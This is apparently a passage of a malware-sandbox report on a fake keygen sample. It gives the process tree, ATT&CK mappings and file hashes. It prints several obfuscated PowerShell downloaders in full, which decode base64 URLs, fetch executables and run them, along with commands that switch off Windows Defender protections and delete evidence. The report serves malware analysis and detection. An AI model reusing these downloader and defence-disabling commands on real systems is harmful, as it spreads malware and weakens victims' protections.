                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                4⤵
                • Blacklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3856
                • C:\Users\Public\dxv.exe
                  "C:\Users\Public\dxv.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4840
                  • C:\Windows\SysWOW64\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
                    6⤵
                      PID:2716
                      • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                        "C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
                        7⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Modifies registry class
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4108
                        • C:\Windows\SysWOW64\WScript.exe
                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"
                          8⤵
                            PID:3992
                            • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                              "C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
                              9⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2720
                              • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                                "C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
                                10⤵
                                • Executes dropped EXE
                                PID:1440
                          • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                            "C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
                            8⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Checks processor information in registry
                            PID:4284
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c taskkill /pid 4284 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\026065177652255\\* & exit
                              9⤵
                                PID:4692
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /pid 4284
                                  10⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4488
                        • C:\Users\Public\dxv.exe
                          "C:\Users\Public\dxv.exe"
                          6⤵
                          • Executes dropped EXE
                          PID:4880
                  • C:\Windows\SysWOW64\mshta.exe
                    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3742.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2676
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1236
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout 2
                    3⤵
                    • Delays execution with timeout.exe
                    PID:4064
                  • C:\Windows\SysWOW64\mshta.exe
                    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3742.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4212
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                      4⤵
                      • Blacklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4268
                      • C:\Users\Public\swq.exe
                        "C:\Users\Public\swq.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: MapViewOfSection
                        • Suspicious use of SetWindowsHookEx
                        PID:1444
                        • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                          "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: MapViewOfSection
                          • Suspicious use of SetWindowsHookEx
                          PID:4684
                          • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                            "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                            7⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Checks processor information in registry
                            PID:2132
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c taskkill /pid 2132 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\611791497187536\\* & exit
                              8⤵
                                PID:4972
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /pid 2132
                                  9⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2568
                          • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                            "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                            6⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: MapViewOfSection
                            • Suspicious use of SetWindowsHookEx
                            PID:4712
                            • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                              "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                              7⤵
                              • Executes dropped EXE
                              PID:212
                          • C:\Users\Public\swq.exe
                            "C:\Users\Public\swq.exe"
                            6⤵
                            • Executes dropped EXE
                            PID:4780
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3742.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4340
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                        4⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4452
                • C:\Windows\SysWOW64\DllHost.exe
                  C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                  1⤵
                    PID:4980
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c start C:\Windows\temp\scb5p50d.exe
                      2⤵
                        PID:4628
                        • C:\Windows\temp\scb5p50d.exe
                          C:\Windows\temp\scb5p50d.exe
                          3⤵
                          • Executes dropped EXE
                          PID:1396
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "powershell" Get-MpPreference -verbose
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:524
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:744
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4520
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3240
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4128
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4196
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:960
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4448
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3848
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4120
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /IM cmstp.exe /F
                        2⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2184

                    Network

                    MITRE ATT&CK Matrix ATT&CK v6

                    Persistence

                    Modify Existing Service

                    1
                    T1031

                    Defense Evasion

                    Modify Registry

                    2
                    T1112

                    Disabling Security Tools

                    2
                    T1089

                    Credential Access

                    Credentials in Files

                    3
                    T1081

                    Discovery

                    Query Registry

                    2
                    T1012

                    System Information Discovery

                    1
                    T1082

                    Collection

                    Data from Local System

                    3
                    T1005

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                      MD5

                      b751492c41c6f3173d3b6f31c1b9b4eb

                      SHA1

                      abc53a2c939b1d774940deb0b888b7b1ba5a3c7b

                      SHA256

                      ad95fdf313324ed94997cec026239ea3631bf27298500e5def5941db9493b457

                      SHA512

                      afa65279455b98353c6fe6869f2b545231231a953afbb1bf2eaed6b11646c4b4c77c5c18102651ae247a2f0fa18c698d908f4d23ca91581cbf28e32e061cb2e2

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      MD5

                      70f71d9e0bb5ef57337927df0396adb4

                      SHA1

                      29f8b6209f0f32fc951f5612eb6c05523bd0c96e

                      SHA256

                      98cf833b448df45aab16704f8932fc623fa49feb55a6ba4319a0b25b22f50a45

                      SHA512

                      9d168ea37f2a963ab7d961bd553183a8a03fef1b09c97641521eab326bd31cf59c8031b3b3aade69cdedab0f9691381986a8c4114f61c2c4bcb3acce6887c091

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      MD5

                      b6652d1bd216d6586e2af3bcba9942ae

                      SHA1

                      122977d7b35a5d8c5b24fc1568694470fe068642

                      SHA256

                      0919d943b483962765990440a53d5a518c5a231edac2d42bf9a6777398d7ad79

                      SHA512

                      8a357642f135b386f73545d75ca6235d60c0cf83eeaa8689b55383ca0d0b186c2b9ca349dce3ed78681a33d2ac069ccfd03ffebccfa21fb5dbe3313286a275d9

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      MD5

                      52cc260433004705f4ef2b27a0528bf6

                      SHA1

                      2c94144759aff1217ce65591a97e1b9790aaf37f

                      SHA256

                      351e7512b44c826206b8abd10c35f595cf4c08887c83cc7f550d9df428f4b780

                      SHA512

                      7f8c52b81e59dd9a7f58df004dc07cab8a0139c397124584fa4bf76471a6e12d0b243257936a08b782997a43f9262f51c122b1d279901dcba13bda8eb1057c55

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      MD5

                      892d50b3277c1de077578f377e4eedc8

                      SHA1

                      519c4cd481b41f5c9e3be0b12212ac1a16b84162

                      SHA256

                      aad4e3b57374f40fc06672f79b369e6c67d161943a6eadeb82be26be9eff4962

                      SHA512

                      fa5cbab89b13b18dcd03444287a329c6aab5fdea289f0fe419881f72f848c219c9e71c485dca7b4e0dc17db2605320d6937f5feb8173de431932d7049960dcad

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      MD5

                      99831a4ff314ea2408bebe38720226a4

                      SHA1

                      3410d0aa0f1c2383ac49eabb2c211aeb12e082f3

                      SHA256

                      59c5c60645f4198840dd36978e23541de9ce99af909d3c73b26644b959a47b25

                      SHA512

                      6ae487e9a6bdcadfb72808a0491899c40dd53868f3a81ca247e775926f695e06ced01d59d50cb7fa202ca5f57e3e4933a22df576de04600967b34afd1bd80000

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      MD5

                      99831a4ff314ea2408bebe38720226a4

                      SHA1

                      3410d0aa0f1c2383ac49eabb2c211aeb12e082f3

                      SHA256

                      59c5c60645f4198840dd36978e23541de9ce99af909d3c73b26644b959a47b25

                      SHA512

                      6ae487e9a6bdcadfb72808a0491899c40dd53868f3a81ca247e775926f695e06ced01d59d50cb7fa202ca5f57e3e4933a22df576de04600967b34afd1bd80000

                    • C:\Users\Admin\AppData\Local\Temp\3742.tmp\Keygen.exe
                      MD5

                      ea2c982c12fbec5f145948b658da1691

                      SHA1

                      d17baf0b8f782934da0c686f2e87f019643be458

                      SHA256

                      eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

                      SHA512

                      1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

                    • C:\Users\Admin\AppData\Local\Temp\3742.tmp\Keygen.exe
                      MD5

                      ea2c982c12fbec5f145948b658da1691

                      SHA1

                      d17baf0b8f782934da0c686f2e87f019643be458

                      SHA256

                      eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

                      SHA512

                      1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

                    • C:\Users\Admin\AppData\Local\Temp\3742.tmp\b.hta
                      MD5

                      5bbba448146acc4530b38017be801e2e

                      SHA1

                      8c553a7d3492800b630fc7d65a041ae2d466fb36

                      SHA256

                      96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170

                      SHA512

                      48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b

                    • C:\Users\Admin\AppData\Local\Temp\3742.tmp\b1.hta
                      MD5

                      c57770e25dd4e35b027ed001d9f804c2

                      SHA1

                      408b1b1e124e23c2cc0c78b58cb0e595e10c83c0

                      SHA256

                      bb0fd0011d5a0c1bbb69cb997700eb329eee7bed75fef677122fcfda78edc7f5

                      SHA512

                      ac6d957d2b6218d9c19dea60b263d6148f730a7a4599e03023afc0881b9f4051d20e5f1d94fc3e416c5e12bcc9846a43af90f55767271ef0cc4b84f31f432ae7

                    • C:\Users\Admin\AppData\Local\Temp\3742.tmp\ba.hta
                      MD5

                      b762ca68ba25be53780beb13939870b2

                      SHA1

                      1780ee68efd4e26ce1639c6839c7d969f0137bfd

                      SHA256

                      c15f61a3c6397babdf83b99b45345fec9851c4d3669c95b717f756b7c48050d1

                      SHA512

                      f99570d2dae550cb1474e2d1cabf8296a685e0e7254d92eb21d856acb8dece635a0842a00d63da2a4faa18c52c57244c565d6a752c857d5c15e8c23b3d4a9e1a

                    • C:\Users\Admin\AppData\Local\Temp\3742.tmp\ba1.hta
                      MD5

                      a2ea849e5e5048a5eacd872a5d17aba5

                      SHA1

                      65acf25bb62840fd126bf8adca3bb8814226e30f

                      SHA256

                      0c4ffba2e00da7c021d0dcab292d53290a4dc4d067c029e5db30ba2ac094344c

                      SHA512

                      d4e53c150e88f31c9896decfaa9f0a8dfab5d6d9691af162a6c0577786620fb1f3617398fc257789a52e0988bf1bfc94255db6d003397863b0b9e82afabdb89f

                    • C:\Users\Admin\AppData\Local\Temp\3742.tmp\m.hta
                      MD5

                      9383fc3f57fa2cea100b103c7fd9ea7c

                      SHA1

                      84ea6c1913752cb744e061ff2a682d9fe4039a37

                      SHA256

                      831e8ee7bc3eeeaaa796a34cbb080658dec1be7eb26eb2671353f650041b220d

                      SHA512

                      16eda09f6948742933b6504bc96eb4110952e95c4be752e12732cb3b92db64daa7a7a0312ca78ff1ceb7cffd7bd8a7d46514226fc3cea375b4edb02a98422600

                    • C:\Users\Admin\AppData\Local\Temp\3742.tmp\m1.hta
                      MD5

                      5eb75e90380d454828522ed546ea3cb7

                      SHA1

                      45c89f292d035367aeb2ddeb3110387a772c8a49

                      SHA256

                      dd43305abbbe5b6cc4ab375b6b0c9f8667967c35bb1f6fefb0f1a59c7c73bd5e

                      SHA512

                      0670ef4f687c4814125826b996d10f6dd8a1dd328e04b9c436ee657486b27b1eefad5b82dcc25bd239d36b7ac488f98e5adcff56c5e82f7d0ed41f03301947c4

                    • C:\Users\Admin\AppData\Local\Temp\3742.tmp\start.bat
                      MD5

                      68d86e419dd970356532f1fbcb15cb11

                      SHA1

                      e9ef9a9d047f1076ba2afbe4eabec2ea2338fb0a

                      SHA256

                      d150a28b978b2d92caac25ee0a805dec96381471702a97f1099707b8538c6cbe

                      SHA512

                      3078c8c33b18ca1aa3bb2f812e5f587f5b081a4bd857f942ab382383faf09dbe8af38054546bf49037b79081c9406dc25647ae5bd843abc8fcca25c7b3afae14

                    • C:\Users\Admin\AppData\Local\Temp\4Pp8FI8dzz.exe
                      MD5

                      e78e1493e792a07c54f6ef3b4a4495e5

                      SHA1

                      d7005b88108080407f989f26bd2f0bdd7cff6461

                      SHA256

                      ef6c2f396508ca5a13666d3667bd53760a5bba67426999dc3928039ed227a8d6

                      SHA512

                      dc212d3bbdaa8a0e49a5d4961e1fa6428551a6f5286bdc65c2251f1a69e9da17ccb3678346199ca8a563f5f6d4ef0aef4cd8cefd7eba9ded27be7686b03ccd52

                    • C:\Users\Admin\AppData\Local\Temp\4Pp8FI8dzz.exe
                      MD5

                      e78e1493e792a07c54f6ef3b4a4495e5

                      SHA1

                      d7005b88108080407f989f26bd2f0bdd7cff6461

                      SHA256

                      ef6c2f396508ca5a13666d3667bd53760a5bba67426999dc3928039ed227a8d6

                      SHA512

                      dc212d3bbdaa8a0e49a5d4961e1fa6428551a6f5286bdc65c2251f1a69e9da17ccb3678346199ca8a563f5f6d4ef0aef4cd8cefd7eba9ded27be7686b03ccd52

                    • C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs
                      MD5

                      50a0f876f725786204b159fcd378bb7a

                      SHA1

                      bf7985abb8e6974c60dc9903dbf5cac984cb69e2

                      SHA256

                      6296569e60d80d8a7c40d4f13bf975f585d4f8e744adf844913eb3ae8a4d54d6

                      SHA512

                      026957cdbbae89ee05568de045843e19d03fb1da29b511d89a566dfb46ffeeb0d327dd7b4e17e26ddf21de67d48323952098fe72bccadbf5f36750be3c8aa1d6

                    • C:\Users\Admin\AppData\Local\Temp\FQztlYdLXt.exe
                      MD5

                      013db621a3351e3fb049efd2ccad79ff

                      SHA1

                      a23394ea54dbc5342a77938a2c285ee616185560

                      SHA256

                      df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a

                      SHA512

                      1bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229

                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      MD5

                      385e5b97d97b89cacff3594eafeb0e5e

                      SHA1

                      70e73110860c36c83c504f4804e3cebde2a618a1

                      SHA256

                      7b02ca9b842110100cd0471c27498b46a2542507ffaee32086bdfa4fd9c736b3

                      SHA512

                      f83f175846b8b674e140fff442ba8958bceb63fba2cdc2ab6c2b1e047e6c0d22c3f0ce36c9fcf44c7f744099a44fe9f497494d4e2eb47579af133c1b3dc20d83

                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      MD5

                      385e5b97d97b89cacff3594eafeb0e5e

                      SHA1

                      70e73110860c36c83c504f4804e3cebde2a618a1

                      SHA256

                      7b02ca9b842110100cd0471c27498b46a2542507ffaee32086bdfa4fd9c736b3

                      SHA512

                      f83f175846b8b674e140fff442ba8958bceb63fba2cdc2ab6c2b1e047e6c0d22c3f0ce36c9fcf44c7f744099a44fe9f497494d4e2eb47579af133c1b3dc20d83

                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      MD5

                      385e5b97d97b89cacff3594eafeb0e5e

                      SHA1

                      70e73110860c36c83c504f4804e3cebde2a618a1

                      SHA256

                      7b02ca9b842110100cd0471c27498b46a2542507ffaee32086bdfa4fd9c736b3

                      SHA512

                      f83f175846b8b674e140fff442ba8958bceb63fba2cdc2ab6c2b1e047e6c0d22c3f0ce36c9fcf44c7f744099a44fe9f497494d4e2eb47579af133c1b3dc20d83

                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      MD5

                      385e5b97d97b89cacff3594eafeb0e5e

                      SHA1

                      70e73110860c36c83c504f4804e3cebde2a618a1

                      SHA256

                      7b02ca9b842110100cd0471c27498b46a2542507ffaee32086bdfa4fd9c736b3

                      SHA512

                      f83f175846b8b674e140fff442ba8958bceb63fba2cdc2ab6c2b1e047e6c0d22c3f0ce36c9fcf44c7f744099a44fe9f497494d4e2eb47579af133c1b3dc20d83

                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      MD5

                      385e5b97d97b89cacff3594eafeb0e5e

                      SHA1

                      70e73110860c36c83c504f4804e3cebde2a618a1

                      SHA256

                      7b02ca9b842110100cd0471c27498b46a2542507ffaee32086bdfa4fd9c736b3

                      SHA512

                      f83f175846b8b674e140fff442ba8958bceb63fba2cdc2ab6c2b1e047e6c0d22c3f0ce36c9fcf44c7f744099a44fe9f497494d4e2eb47579af133c1b3dc20d83

                    • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      MD5

                      35bccedd18360d94a33d86c09af8480c

                      SHA1

                      013ab842c5b2ded0a930fc3d4f59a13d3ff66dc0

                      SHA256

